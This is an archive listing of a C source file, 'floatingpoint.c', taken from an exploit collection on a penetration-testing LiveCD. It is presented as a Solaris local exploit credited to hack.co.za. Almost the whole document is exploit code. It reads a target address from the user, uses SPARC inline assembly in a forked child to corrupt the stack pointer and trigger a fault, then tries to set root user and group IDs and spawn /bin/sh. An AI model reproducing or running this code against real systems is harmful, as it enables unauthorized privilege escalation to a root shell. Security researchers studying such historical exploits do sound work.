home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / floatingpoint.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  724b  |  41 lines

  1. #include <stdio.h>
  2.  
  3. unsigned long addr;
  4. unsigned long *pp;
  5.  
  6. char buf[BUFSIZ];
  7.  
  8. main(argc, argv)
  9. int argc;
  10. char **argv;
  11. {
  12.  
  13.   printf("enter address in hex\n");
  14.   gets(buf);
  15.   sscanf(buf, "%x", &addr);
  16.   addr -= 32;
  17.  
  18.   pp = (unsigned long *) addr;
  19.   printf("address is 0x%0.8x\n", addr);
  20.  
  21.   if (fork() == 0)
  22.     {
  23.       asm("   sethi   %hi(_addr), %i4");
  24.       asm("   ld      [%i4+%lo(_addr)], %i4");
  25.       asm("   nop");
  26.       asm("   mov     %i4, %sp");
  27.       asm("   udiv    %i2, %i7, %i2");
  28.       asm("   nop");
  29.       exit(0);
  30.     }
  31.   else
  32.     {
  33.       wait((int *) 0);
  34.       setreuid(-1, 0);
  35.       setregid(-1, 0);
  36.       system("/bin/sh");
  37.       exit(0);
  38.     }
  39.  
  40. }
  41. /*                    www.hack.co.za              [2000]*/